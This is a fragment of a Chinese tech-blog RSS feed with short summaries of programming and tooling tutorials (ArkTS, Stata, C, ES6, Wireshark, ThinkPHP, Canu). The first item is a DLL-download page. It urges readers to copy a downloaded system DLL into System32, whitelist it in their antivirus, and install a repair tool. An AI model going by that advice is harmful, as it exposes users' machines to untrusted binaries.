      <description>其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题，如果是新手第一时间会认为是软件或游戏出错了，其实并不是这样，其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库，这时你可以下载这个KBDSORS1.DLL文件(挑选合适的版本文件)把它放入到程序或系统目录中，当我们执行某一个.exe程序时，相应的DLL文件就会被调用，因此将缺失的文件放回到原目录之后就能打开你的软件或游戏了.&#xA;那么出现KBDSORS1.DLL丢失要怎么解决？&#xA;一、手动从网站下载单个dll文件 1、从下面列表下载KBDSORS1.DLL文件&#xA;32/64位 文件:&#xA;KBDSORS1.DLL&#xA;2、将下载的文件放入到你要运行的软件或者游戏的安装所在文件夹之中，可以右键点击主执行程序.exe然后选择&#34;打开文件所在的位置&#34; 找到安装目录，将文件复制进去。&#xA;或者将文件复制到Windows系统目录，这个需要注意电脑的系统是32位还是64位，如果是32位的系统，那就将本站下载32位的dll文件放到“C:/Windows/System32”这个文件夹里面,如果是64位的系统，那就将本站下载的32位dll文件放到“C:/Windows/SysWOW64”这个文件夹里面,本站下载的64位文件放到“C:/Windows/System32”这个文件夹里面.&#xA;如果问题依然无法解决，值得注意的是此类文件的丢失有时候和杀毒软件的误报毒有关，所以请将此类dll文件添加到杀毒软件的信任列表当中.&#xA;二、使用DLLEscort软件进行自动修复 DLLEscort软件能够修复解决常见的Windows系统文件与系统所需的大部分运行库，它可以帮助您一键修复系统软件或游戏丢失的DLL运行库文件，节省您的宝贵时间。 如果是因为缺少了运行库 导致的提示文件找不到错误 通常当你单独下载了一个文件放入到目录后，程序可能还会立即提示又丢失了另外一个文件，所以建议大家使用DLLEscort软件一键修复解决系统缺少运行库的问题，软件可随Windows系统长久的使用，每次重新安装系统后也可以使用它修复一次，以保障各软件或游戏在此后的平稳运行. 软件能够修复常见的Windows系统dll文件; DirectX游戏运行库; Microsoft Visual C++运行库; 其它常用运行库等.&#xA;DLLEscort软件支持32/64位 Windows XP,Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10 操作系统,Windows 11 操作系统及服务器版Windows系统&#xA;下载地址：本站下载下载完成后得到安装包文件运行后，点击Next下一步进行安装，安装完毕后会自动打开软件或手动执行桌面主程序(DLLEscort)即可打开软件，&#xA;一、点击 &#34;扫描系统&#34; --&amp;gt; &#34;扫描&#34; 开始对系统所需文件扫描&#xA;二、扫描完成，扫描结果分成三部分，包括1，待修复的丢失文件。 2，待修复的注册表。 3.待清理的系统缓存文件。&#xA;三、点击”修复全部”修复开始，请保持网络正常,直到所有问题修复完成。</description>
    </item>
    <item>
      <title>ArkTs封装网络请求并发起一个Get请求</title>
      <link>https://bchobby.github.io/posts/b0e86530059eb4d9aac6b112c8f34b55/</link>
      <pubDate>Tue, 02 Jan 2024 10:55:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0e86530059eb4d9aac6b112c8f34b55/</guid>
      <description>文章概叙 本文讲的是封装下ArkTs的HTTP请求，做一下公共的拦截，并使用这个lib发起一次请求。&#xA;封装的重要性 出来混的，封装一个lib已经是一个必备的技能了，尤其是做前端开发的，哪个HTTP请求不需要做统一的拦截处理呢，所以，今天除了介绍下ArkTs中的HTTP请求之外，还会说一下如何封装一个HTTP请求，以便做统一拦截&#xA;HTTP请求 贪多嚼不烂，第一步我们需要先了解下ArkTs中的HTTP请求是怎么样的，又有哪一些步骤，而不是直接一上来就丢出一个例子，跟人说你已经封装好了，不然人家一问三不知。&#xA;准备工作 需要下面的权限，文件的路径贴在了下面，申请权限这一块按下不表，因为不是重点。&#xA;src/main/module.json5&#xA;requestPermissions:[ { &#34;name&#34; : &#34;ohos.permission.INTERNET&#34; } ] 接下来，就按照官网上的request接口开发步骤，使用http请求。&#xA;创建实例 import http from ‘@ohos.net.http’;&#xA;第一步的引入，我们并不需要手动去写那么一行代码，当我们第二步创建一个http实例的时候，开发工具会自动帮我们引入这个包，结合上一篇博客，我们需要在页面的aboutToAppear方法中创建，代码如下：&#xA;import http from &#39;@ohos.net.http&#39;; ​ @Entry @Component export struct Found { aboutToAppear() { const httpRequest = http.createHttp(); console.log(&#34;当前调用了aboutToAppear方法&#34;); } ​ build() { ​ } } 获取返回体数据 由于获取订阅http响应头事件在前端的用处不大，所以暂时跳过，文章的后面将其与取消订阅http响应头事件一起说。&#xA;创建好了示例，自然是要设置请求参数了，为了方便，这儿直接设置Url为百度，且设置请求的方式为Get请求。则代码编写如下：&#xA;aboutToAppear() { const httpRequest = http.createHttp(); httpRequest.request( &#34;https://www.baidu.com&#34;, { // 设置为get请求 method:http.RequestMethod.GET, } ) } 当前由于只有一个最简单的get请求，所以只需要传入地址以及请求方式，而其他的参数的描述，按照官网，粘贴如下：&#xA;其中最重要的，自然就是我们的header以及extraData。&#xA;使用Asyn-Await优化 至此，一个请求是发出去了，接下来就是获取消息了，但是官网上的方式是如下</description>
    </item>
    <item>
      <title>多期DID ，最新双重差分命令(LPDID)</title>
      <link>https://bchobby.github.io/posts/5cc5111019a960f4f386839cb368bc6c/</link>
      <pubDate>Tue, 02 Jan 2024 10:54:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5cc5111019a960f4f386839cb368bc6c/</guid>
      <description>参考链接：https://mp.weixin.qq.com/s/vYu-gyVEXJavtOoOqBgAMQ?poc_token=HCB4k2WjgUuuW20VgJWbfi5KdEK7dFA-YPjbNKP1&#xA;解决不同时间接受处理的组之间的处理效应可能存在异质性的方法，&#xA;lpdid在LP方法的基础上，增加了样本限制，通过设定规则删去部分样本，强制构造“干净控制组”。&#xA;注意：此方法对样本量要求更高&#xA;ssc install lpdid help lpdid *** 调入作者提供的模拟数据 use http://fmwww.bc.edu/repec/bocode/l/lpdidtestdata1.dta, clear *** LPDID lpdid Y, time(time) unit(unit) treat(treat) pre(5) post(10) // Y, outcome变量 // time()中存储时间变量 // unit()中存储个体变量 // treat()中存储处理变量，即Dit。目前1.0版本的命令还不支持处理变量非虚拟变量的情形，但作者承诺将会在后续的版本中补全。 // pre()中存储要估计的政策发生前多少期的ATT // post()中存储要估计的政策发生后多少期的ATT // 如果要添加控制变量，可以把控制变量添加在controls()选项中。 // 默认情况下，ATT是对不同处理组处理效应的加权平均。 // 注意回归结果的最后一列列示了估计该系数时使用的样本数。Recall LPDID方法是估计多个方程，因此可能每个方程所使用的样本是不同的。 *** LPDID，使用等权重 // 我们也可以要求程序在计算ATT时不采用加权平均而是用等权重取均值 // 此时，LPDID估计量和stacked DID等价 // 只需要在命令后增加 rw 选项即可 lpdid Y, time(time) unit(unit) treat(treat) pre(5) post(10) rw // 注意此时样本量的变化。 *** LPDID，仅使用never-treated的样本作为控制组估计所有的系数 lpdid Y, time(time) unit(unit) treat(treat) pre(5) post(10) nevertreated 链接: link</description>
    </item>
    <item>
      <title>c实现二进制转化成十六进制</title>
      <link>https://bchobby.github.io/posts/caed68570f521a846d444c0997a4ccb9/</link>
      <pubDate>Tue, 02 Jan 2024 10:52:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/caed68570f521a846d444c0997a4ccb9/</guid>
      <description>首先，我们要知道四位二进制数相当于一位十六进制数，然后10~15用A~F来表示。&#xA;话不多说，上代码&#xA;#define _CRT_SECURE_NO_WARNINGS #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;string.h&amp;gt; int main() { int N = 0; printf(&#34;将进行几次转换：\n&#34;); scanf(&#34;%d&#34;, &amp;amp;N); char a[32] = { 0 }; int b[32] = { 0 }; while (N--) { printf(&#34;请输入二进制数：\n&#34;); scanf(&#34;%s&#34;, a); int mount = 0, t = 1, k = 0, i = 0; int len = strlen(a); for (i = 0; i &amp;lt; len; i++) b[i] = 0; for (i = len-1; i &amp;gt;=0; i--) { b[k] += (a[i] - &#39;0&#39;) * t; t *= 2; mount++; if (mount % 4 == 0) { t = 1; k++; } } for (i = 0; i &amp;lt;= k; i++) { if (b[i] &amp;gt;= 10) { switch (b[i]) { case 10:b[i] = &#39;A&#39;; break; case 11:b[i] = &#39;B&#39;; break; case 12:b[i] = &#39;C&#39;; break; case 13:b[i] = &#39;D&#39;; break; case 14:b[i] = &#39;E&#39;; break; case 15:b[i] = &#39;F&#39;; break; } } } for (i = k; i &amp;gt;= 0; i--) { if(b[i]!</description>
    </item>
    <item>
      <title>ES6 Module详解</title>
      <link>https://bchobby.github.io/posts/cbaf6d6cc4accb87a920ef3526b84441/</link>
      <pubDate>Tue, 02 Jan 2024 10:52:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbaf6d6cc4accb87a920ef3526b84441/</guid>
      <description>✨ 专栏介绍 在现代Web开发中，JavaScript已经成为了不可或缺的一部分。它不仅可以为网页增加交互性和动态性，还可以在后端开发中使用Node.js构建高效的服务器端应用程序。作为一种灵活且易学的脚本语言，JavaScript具有广泛的应用场景，并且不断发展演进。在本专栏中，我们将深入学习JavaScript语言的基本语法、DOM操作、事件处理、异步编程以及常见算法和数据结构等内容。此外，我们还将介绍ES6及其后续版本中引入的新特性，如箭头函数、模块化、解构赋值等。通过学习这些内容，你将能够成为一名熟练的JavaScript开发者，并能够应用这些知识来构建出高质量和可维护的Web应用程序。让我们一起开始JavaScript之旅吧！&#xA;文章目录 ✨ 专栏介绍概念语法导出变量或函数导入变量或函数默认导出组合导入和默认导出 作用原理使用方式总结😶 写在结尾 概念 ES6模块是ECMAScript 6（ES6）中引入的一种模块化系统，它提供了一种更加简洁、可靠和可维护的方式来组织和管理JavaScript代码。&#xA;语法 ES6模块使用import和export关键字来导入和导出模块。下面是一些常见的语法规则：&#xA;导出变量或函数 // 导出一个变量 export const name = &#39;John&#39;; // 导出一个函数 export function sayHello() { console.log(&#39;Hello!&#39;); } 导入变量或函数 // 导入一个变量 import { name } from &#39;./module&#39;; // 导入一个函数 import { sayHello } from &#39;./module&#39;; 默认导出 // 默认导出一个变量或函数 export default name; // 默认导出一个对象 export default { name: &#39;John&#39;, age: 25, }; 组合导入和默认导出 // 导入默认导出并重命名为myName，同时导入name变量 import myName, { name } from &#39;.</description>
    </item>
    <item>
      <title>Windows下使用wireshark抓取usb数据</title>
      <link>https://bchobby.github.io/posts/ec0cb9530e593ae81953c0830efd0769/</link>
      <pubDate>Tue, 02 Jan 2024 10:49:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec0cb9530e593ae81953c0830efd0769/</guid>
      <description>参考：使用Wireshark获取USB数据（https://blog.csdn.net/2301_76293276/article/details/133791136）&#xA;文章目录 安装wireshark运行wireshark筛选所需连接设备数据 安装wireshark 直接官网下载wireshark（https://www.wireshark.org/）&#xA;下载完双击运行，全部默认安装即可，到USB Capture勾选上Install USBPcap…即可。（我因为已经安装过了所以为灰显）&#xA;运行wireshark 启动时选择USBPcap&#xA;此时会抓寻所有usb设备的信息，还需要输入特定的address进行筛选&#xA;筛选所需连接设备数据 与拦截网络报文过程类似，用户也可以通过设置过滤器的方式拦截指定USB设备的报文。常见的过滤条件包括：&#xA;usb.device_address == X&#xA;usb.addr == X.X.X&#xA;usb.src==X.X.X&#xA;usb.dst == X.X.X&#xA;获取addr的过程可以参考：&#xA;https://superuser.com/questions/1505021/determine-current-usb-address-of-device-in-windowsy&#xA;使用UsbTreeView（Uwe Sieber’s Homepage）（https://www.uwe-sieber.de/）获取“Device Address”&#xA;下载对应操作系统的压缩包，下载完后解压运行即可&#xA;运行后找到Connection Information/Device Address&#xA;在wireshark上方输入usb.device_address == 6回车即可</description>
    </item>
    <item>
      <title>我的2023年度总结：从大学生到程序员的转变</title>
      <link>https://bchobby.github.io/posts/dc75cf6340c94c3fe5a044342154d8e4/</link>
      <pubDate>Tue, 02 Jan 2024 10:48:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc75cf6340c94c3fe5a044342154d8e4/</guid>
      <description>在过去的一年里，我从一名大学生转变为一名计算机专业人士，经历了许多实战经历，其中最让我印象深刻的是我参与的一个校园App项目。在这个项目中，我负责后端开发和数据库设计，成功地将App上线并得到了师生的好评。&#xA;在技术学习方面 我系统学习了C、Python等编程语言，以及嵌入式系统开发、物联网技术等知识，这让我对如何开发一个完整的物联网系统有了更深入的理解。我还整理了一些技术文档，如《C程序设计语言》和《Python编程：从入门到实践》，这些文档不仅帮助我更好地理解这些技术，也为其他大学生提供了参考。&#xA;在开发工具方面 我推荐Arduino IDE和VS Code，这些工具不仅功能强大，而且使用方便，大大提高了我的开发效率。&#xA;对于技术行业的深度思考 我认为未来的技术发展将更加注重物联网、人工智能等技术的融合，大学生计算机专业人士需要不断学习和适应新技术的发展。我认为未来的技术发展将更加注重云计算、大数据和人工智能等技术的融合，大学生程序员需要不断学习和适应新技术的发展。&#xA;在职业规划与心灵成长方面 我计划在未来的一年里，继续深入学习物联网、人工智能等技术，同时提高自己的沟通和团队协作能力。我还设立了一些新年Flag，如完成一个开源项目、学习一门新的编程语言等。&#xA;在项目中取得的辉煌成绩方面 我成功参与了多个物联网项目，如智能家居、智能农业等，为客户创造了巨大的价值。在应用开发中遇到的问题与解决方案方面，我学会了如何有效地解决各种问题，如硬件故障、软件bug等。&#xA;在编程语言的新趋势方面 ，我认为C、Python等编程语言将继续流行，而Go、Rust等系统编程语言也将得到更多的关注。&#xA;在技术发展规划方面&#xA;我计划在未来的一年里，继续深入学习物联网、人工智能等技术，同时提高自己的沟通和团队协作能力。&#xA;总的来说&#xA;2023年是我职业生涯中非常重要的一年，我学到了很多，也取得了很多成就。我期待在新的一年里，能够取得更大的进步和成功。</description>
    </item>
    <item>
      <title>tp5&#43;workman(GatewayWorker) 安装及使用</title>
      <link>https://bchobby.github.io/posts/eeb755e34b425baed88525edca264407/</link>
      <pubDate>Tue, 02 Jan 2024 10:44:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eeb755e34b425baed88525edca264407/</guid>
      <description>一、安装thinkphp5 1、宝塔删除php禁用函数putenv、pcntl_signal_dispatch、pcntl_wai、pcntl_signal、pcntl_alarm、pcntl_fork，执行安装命令。 composer create-project topthink/think=5.0.* tp5 --prefer-dist 2、配置好站点之后，浏览器打开访问成功。 二、tp5安装GatewayWorker 1、进入tp5目录，安装GatewayWorker&#xA;composer require workerman/gateway-worker 如果报错安装指定版本&#xA;2、安装workman&#xA;composer require workerman/workerman 如果报错安装指定版本&#xA;3、安装gatewayclient&#xA;composer require workerman/gatewayclient 如果报错安装指定版本&#xA;三、使用GatewayWorker 注:我已修改默认端口号,在宝塔开启端口号 1、创建文件 tp5/public/start.php &amp;lt;?php /** * run with command * php start.php start */ ini_set(&#39;display_errors&#39;, &#39;on&#39;); use Workerman\Worker; if(strpos(strtolower(PHP_OS), &#39;win&#39;) === 0) { exit(&#34;start.php not support windows, please use start_for_win.bat\n&#34;); } // 检查扩展 if(!extension_loaded(&#39;pcntl&#39;)) { exit(&#34;Please install pcntl extension. See http://doc3.workerman.net/appendices/install-extension.html\n&#34;); } if(!extension_loaded(&#39;posix&#39;)) { exit(&#34;</description>
    </item>
    <item>
      <title>天气预报网站windy的使用简介</title>
      <link>https://bchobby.github.io/posts/15b6797c727ae6115c9cef725ca1885a/</link>
      <pubDate>Tue, 02 Jan 2024 10:17:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15b6797c727ae6115c9cef725ca1885a/</guid>
      <description> 原来这些文章我都写在QQ日志里，只为方便自己翻阅，但QQ日志很不好的地方就是没有查找功能，自己想翻看都很不方便，以后就还是在熟悉的CSDN作记录吧。&#xA;windy是个很不错的天气预报网站，对喜欢钓鱼的我来说，能方便直观看到具体地点不同时刻的风向、风力大小十分有用。&#xA;切换不同的计量单位（bft就是常说的几级风），选取不同的时刻：&#xA;打开该地点更多的预报信息表： </description>
    </item>
    <item>
      <title>2023华为od机试C卷【推荐多样性】C语言 实现</title>
      <link>https://bchobby.github.io/posts/9ee79c3631f2a213aa3dcb64a41d9219/</link>
      <pubDate>Tue, 02 Jan 2024 10:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ee79c3631f2a213aa3dcb64a41d9219/</guid>
      <description>目录&#xA;题目&#xA;思路&#xA;Code&#xA;题目 推荐多样性需要从多个列表中选择元素，一次性要返回N屏数据(窗口数量)，每屏展示K个元素(窗口大小)，选择策略&#xA;1.各个列表元素需要做穿插处理，即先从第一个列表中为每屏选择一元素，再从第二个列表中为每屏选择一个元素，依次类推&#xA;2.每个列表的元素尽量均分为N份，如果不够N个，也要全部分配完，比如下面的例子:&#xA;(1)从第一个列表中选择4条0 12 3，分别放到4个窗口中&#xA;(2)从第二个列表中选择4条10 11 12 13，分别放到4个窗口中&#xA;(3)从第三个列表中选择4条20 21 22 23，分别放到4个窗口&#xA;(4)再从第一个列表中选择4条4 5 6 7，分别放到4个窗口中&#xA;(5)再从第一个列表中选择，由于数量不足4条，取剩下的2条，放到窗1和窗口2(6)再从第二个列表中选择，由于数量不足4条并且总的元素数达到窗口要求，取18 19放到窗口3和窗口4&#xA;输入描述&#xA;第一行输入为N，表示需要输出的窗口数量，取值范围[1,10]&#xA;第二行输入为K，表示每个窗口需要的元素数量Q，取值范用[1,100]之后的行数不定(行数取值范围[1,10]，表示每个列表输出的元素列表。元素之间以空格分隔，已经过准序外理，每人列表输出的元素数量取值范围[1,100]&#xA;输出描述&#xA;输出元素列表，元素数量=窗口数量“窗口大小，元素之间以空格分隔，多个窗口合并为一个列表输出，参考样例:先输出窗口1的元素列表，再输出窗口2的元素列表，再输出窗口3的元素列表，最后输出窗口4的元素列表&#xA;示例1&#xA;输入&#xA;4&#xA;7&#xA;0 1 2 3 4 5 6 7 8 9&#xA;10 11 12 13 14 15 16 17 18 19&#xA;20 21 22 23 24 25 26 27 28 29&#xA;输出&#xA;0 10 20 4 14 24 8 1 11 21 5 15 25 9 2 12 22 6 16 26 18 3 13 23 7 17 27 19</description>
    </item>
    <item>
      <title>浅谈命令模式</title>
      <link>https://bchobby.github.io/posts/47abebd692ddb64c04203b829689a566/</link>
      <pubDate>Tue, 02 Jan 2024 10:10:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47abebd692ddb64c04203b829689a566/</guid>
      <description>命令模式是一种行为设计模式，用于将一个请求封装成一个对象，从而使得请求的发送者和接收者解耦，并支持对请求进行参数化、队列化、撤销和重做等操作。&#xA;在命令模式中，有一下介个关键角色：&#xA;Command（命令）：定义了执行操作的接口，包含一个执行方法（或者多个方法），通常还包含一个撤销方法。具体的命令类实现该接口，并负责实现具体的操作逻辑。Receiver（接收者）：执行具体操作的对象，即命令的实际执行者。命令对象通过调用接收者的方法来实现具体的操作。Invoker（调用者）：发送命令的对象，负责创建命令对象并将其发送给接收者执行。它不直接执行具体的操作，而是通过调用命令对象的方法来间接执行。Client（客户端）：创建具体的命令对象，并设置命令对象的接收者和参数。调用者通过客户端来创建和配置命令对象，并将命令对象发送给接收者执行。 使用命令模式的主要步骤如下：&#xA;创建一个命令接口，并定义执行操作和撤销操作的方法。创建具体的命令类，实现命令接口，并在执行方法中调用接收者的方法来执行具体的操作。创建接收者类，负责执行具体的操作。创建调用者类，负责创建具体的命令对象，并将其发送给接收者执行。创建客户端代码，通过调用者来创建和配置具体的命令对象，并将命令对象发送给接收者执行。 命令模式的优点包括：&#xA;解耦请求发送者和接收者，使得它们之间不直接依赖或知道对方的存在。可以灵活地扩展和配置命令对象，可以对命令进行参数化、队列化、撤销和重做等操作。可以灵活地扩展和配置命令对象，可以对命令进行参数化、队列化、撤销和重做等操作。&#xA;支持高层次的模块化设计，可以将请求封装成独立的命令对象，方便组合和管理。 总结起来，命令模式通过将请求封装成对象，实现了请求发送者和接收者之间的解耦，提供了更灵活和可扩展的方式来处理操作请求。它在很多场景下都能够提供更好的代码组织和结构，以及更强大的操作控制能力。&#xA;再说一下在MVVM模式中，命令模式的角色分配如下：&#xA;接收者（Receiver）：在MVVM模式中，接收者通常是指ViewModel。ViewModel是连接视图(View)和数据模型(Model)之间的桥梁，负责处理用户界面的交互逻辑和业务逻辑。在命令模式中，接收者即为ViewModel，它执行具体的操作。调用者（Invoker）: 在MVVM模式中，调用者通常是指View或者XAML页面，调用负责创建具体的命令对象，并将其发送给接收者（ViewModel）执行。调用者可以通过绑定命令属性的方式与UI元素关联起来，例如按钮的Command属性。当用户触发相关的UI操作时，调用者会自动调用命令对象的执行方法客户端(Client)：在MVVM模式中，客户端通常指整个应用程序。客户端负责创建和配置具体的命令对象，并将其发送给接收者（ViewModel）执行。客户端在创建ViewModel的同时，可以创建对应的命令对象，并将命令对象和ViewModel关联起来。客户端还可以设置命令对象的参数，以及绑定命令对象和UI元素之间的关系。 总结起来，在MVVM模式中，接收者就是ViewModel，负责执行具体的操作。调用者是View或者XAML页面，负责创建和发送命令给接收者执行。而客户端指的是整个应用程序，负责创建和配置命令对象，并将命令对象发送给接收者（ViewModel）执行。</description>
    </item>
    <item>
      <title>三代测序数据或长contigs的纠错和基因组组装工具的安装方法和详细使用方法</title>
      <link>https://bchobby.github.io/posts/753e07c55bd4ceb42fca19b96e31b66f/</link>
      <pubDate>Tue, 02 Jan 2024 09:57:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/753e07c55bd4ceb42fca19b96e31b66f/</guid>
      <description>介绍： Canu是一种用于长读长contigs的纠错和基因组组装工具。它最初是为了处理PacBio等第三代测序技术产生的长读长DNA测序数据而设计的。更近期，Canu也开始支持Oxford Nanopore等其他长读长测序技术。&#xA;Canu的目标是通过利用长读长测序数据，提供高质量的基因组组装结果。它的设计思路是以自我校正（self-correction）为基础的组装方法。Canu首先通过将长读长测序数据拆分为较短的overlaps，然后进行纠错和重叠扩展（overlapping extension）来构建contigs。接下来，Canu使用错误校正和重叠扩展迭代的过程来提高contig质量，并且通过建立read的互补关系来组装contigs。&#xA;Canu的使用场景取决于待解决问题的需求。当您需要进行高质量的基因组组装，特别是在处理长读长测序数据时，Canu就是一个合适的选择。它适用于各种生物学研究领域，如微生物学、植物学和动物学等。同时，Canu也适合处理大型基因组，特别是那些无法通过短读长测序数据进行准确组装的基因组。使用Canu可以提供更长的contigs和更好的基因组覆盖率，从而有助于识别基因和其他遗传元件。&#xA;老规矩，先看文章：&#xA;Canu: scalable and accurate long-read assembly via adaptive k-mer weighting and repeat separation&#xA;De novo assembly of haplotype-resolved genomes with trio binning | Nature Biotechnology HiCanu: accurate assembly of segmental duplications, satellites, and allelic variants from high-fidelity long reads | bioRxiv 再看github： marbl/canu: A single molecule sequence assembler for genomes large and small. (github.com)&#xA;纠错和基因组组装是基因组学领域中的重要任务，可以帮助研究人员快速的获得高质量的基因组序列。下面是一些常用的三代测序数据或长contigs的纠错和基因组组装工具的安装和使用方法的介绍：&#xA;安装方法 通过源代码编译安装 克隆Canu项目源码库：&#xA;注意官方不建议直接下载zip文件，所以直接clone&#xA;git clone https://github.com/marbl/canu.git cd canu/src 安装依赖（如果尚未安装）</description>
    </item>
    <item>
      <title>有靠谱的Java培训机构吗</title>
      <link>https://bchobby.github.io/posts/55ce59197560255b87717e6de9e36940/</link>
      <pubDate>Tue, 02 Jan 2024 09:52:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55ce59197560255b87717e6de9e36940/</guid>
      <description>选择靠谱的Java培训机构是学习者在提升自己技能的过程中必须要经历的一步。在市面上有很多培训机构，但是如何选择靠谱的Java培训机构呢？下面将从行业口碑、师资力量、培训课程、学习环境、机构规模、就业服务等多方面来阐述。&#xA;1.一个靠谱的Java培训机构应该有良好的行业口碑。学习者可以通过在网上搜索机构的评价和口碑，了解其他学员对于该机构的评价和体验。如果一个机构的口碑一直很好，那么就说明它在培训行业中积累了良好的声誉。&#xA;2.师资力量也是选择培训机构的重要因素。一个优秀的师资力量可以帮助学习者更快更好地掌握知识。学习者可以通过机构的官网或者其他渠道了解师资的情况，比如教学经验、教学水平等。此外，一些知名的培训机构的讲师都是具有丰富实战经验与教学经验的，这也是一个机构师资力量的重要标志。&#xA;3.培训课程是学习者选择培训机构的重要因素之一。一个靠谱的Java培训机构应该有系统完善的课程体系，内容涵盖Java基础、高级、框架等多个方面，并且与市场需求保持同步更新。学习者可以通过咨询机构的课程顾问或者查看官网来了解课程设置和内容，从而选择适合自己的课程。&#xA;4.学习环境也是一个靠谱的Java培训机构必须要考虑的因素之一。一个良好的学习环境可以帮助学习者更好地专注于学习。学习者可以事先去机构进行实地考察，了解教室设施、学习设备等情况，从而选择一个适合自己的学习环境。&#xA;5.机构规模也是选择培训机构的一个重要因素。通常来说，规模较大的培训机构会有更为完善的教学设施和教学管理体系，能够为学习者提供更好的学习体验。&#xA;6.就业服务也是选择培训机构需要考虑的因素之一。一个靠谱的培训机构应该能够为学员提供良好的就业服务，包括就业指导、面试指导等。学习者可以通过了解机构的就业服务情况，来选择一个能够帮助自己更好就业的培训机构。&#xA;总之，选择靠谱的Java培训机构需要考虑多个方面的因素，包括行业口碑、师资力量、培训课程、学习环境、机构规模、就业服务等。只有综合考虑这些因素，学习者才能选择到一个适合自己的培训机构，从而更好地提升自己的技能水平。</description>
    </item>
    <item>
      <title>R语言【CoordinateCleaner】——cc_dupl()：根据物种名称和坐标以及用户定义的附加列删除或标记重复的记录</title>
      <link>https://bchobby.github.io/posts/c6226ab1aab7effce8e65a26226f0472/</link>
      <pubDate>Tue, 02 Jan 2024 09:50:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6226ab1aab7effce8e65a26226f0472/</guid>
      <description>Package CoordinateCleaner version 2.0-20&#xA;Parameters cc_dupl( x, lon = &#34;decimallongitude&#34;, lat = &#34;decimallatitude&#34;, species = &#34;species&#34;, additions = NULL, value = &#34;clean&#34;, verbose = TRUE ) 参数【x】：data.frame。包含地理坐标和物种名称。&#xA;参数【lon】：字符串。具有经度坐标的列。默认值 = “decimallongitude”。&#xA;参数【lat】：字符串。包含纬度坐标的列。默认值 = “decimallatitude”。&#xA;参数【species】：字符串。包含物种名称的列。默认值 = “species”。&#xA;参数【additions】：字符串的向量。要包含在重复测试中的其他列。例如，如下图所示，收集器名称和收集器编号。&#xA;参数【value】：字符串。定义输出值。&#xA;参数【verbose】：逻辑。如果为 TRUE，则报告测试的名称和标记的记录数。&#xA;Value 根据参数【value】，包含测试认为正确的记录的 data.frame （“clean”） 或逻辑向量 （“flagged”），其中 TRUE = 测试通过，FALSE = 测试失败/可能有问题。默认值 = “clean”。&#xA;Conclusion cc_dupl()函数是CoordinateCleaner软件包中的一个特定函数，用于检测和处理生物多样性数据集中的重复记录。以下是对cc_dupl()函数的总结性介绍：&#xA;cc_dupl()函数用于识别数据集中的重复记录，并根据不同的参数和阈值进行处理。它可以通过比较记录之间的经纬度坐标、采样日期和其他属性，来确定是否存在重复的数据记录。该函数还提供了各种选项和方法，以选择处理重复记录的方式，如保留第一次出现的记录、保留最后一次出现的记录或合并重复的记录。cc_dupl()函数还可以生成一个关于重复记录的详细报告，帮助用户审查和验证相关数据。该函数返回一个包含处理后数据集的对象，可以继续在其他函数中使用。 总之，cc_dupl()函数是CoordinateCleaner软件包中一个有用的函数，可帮助用户检测和处理生物多样性数据集中的重复记录。它提供了各种选项和报告，以支持用户进行更精确和准确的数据清理。&#xA;Example x &amp;lt;- data.frame(species = letters[1:10], decimallongitude = sample(x = 0:10, size = 100, replace = TRUE), decimallatitude = sample(x = 0:10, size = 100, replace = TRUE), collector = &#34;</description>
    </item>
    <item>
      <title>推荐一款代替昂贵的Vlookup函数工具的Excel数据处理软件</title>
      <link>https://bchobby.github.io/posts/4f01376ef98aef9fcd2c64c92cbbb721/</link>
      <pubDate>Tue, 02 Jan 2024 09:48:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f01376ef98aef9fcd2c64c92cbbb721/</guid>
      <description>不得不说，打工人的每一天都与数据表格文档接触，然而天天使用的软件、天天处理的数据，你却不一定用得十分溜。&#xA;别的不说，Vlookup这个函数我至今都是每用一次都得去重新学一次，虽然不难，但也要花些时间去理解。&#xA;所以今天又找来吾爱的一款小工具，比Vlookup容易太多了，所以迫不及待的想给大家安利!&#xA;代替昂贵的Vlookup函数，这款叫“Excel数据处理”的小工具是吾爱@ttyylfd 开发的一款小工具。&#xA;软件其实很简单，我以我这里两个简单的表格为例给大家讲解使用 。我这里有两个表，一个表是“语文数学成绩表”(表1)，另外一个是“英语成绩表”(表2)。&#xA;我需要把“表2”与“表1”的姓名作对比，姓名相同，则把“表2”的英语成绩填入表1的D列中。&#xA;看看我在软件中填写的相关数据，填写以后点【开始处理】即可。&#xA;处理的数据非常快，基本秒处理!大家如果数据多的话，可以自己试试，应该是比Vlookup要快不少!&#xA;本文来源于：推荐一款代替Vlookup函数的Excel数据处理，吾爱出品-下载集 (xzji.com)https://www.xzji.com/news/12943.html</description>
    </item>
    <item>
      <title>怎样选择性价比高的大数据培训机构</title>
      <link>https://bchobby.github.io/posts/495a3adf85e262ce20db889ef916be6e/</link>
      <pubDate>Tue, 02 Jan 2024 09:46:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/495a3adf85e262ce20db889ef916be6e/</guid>
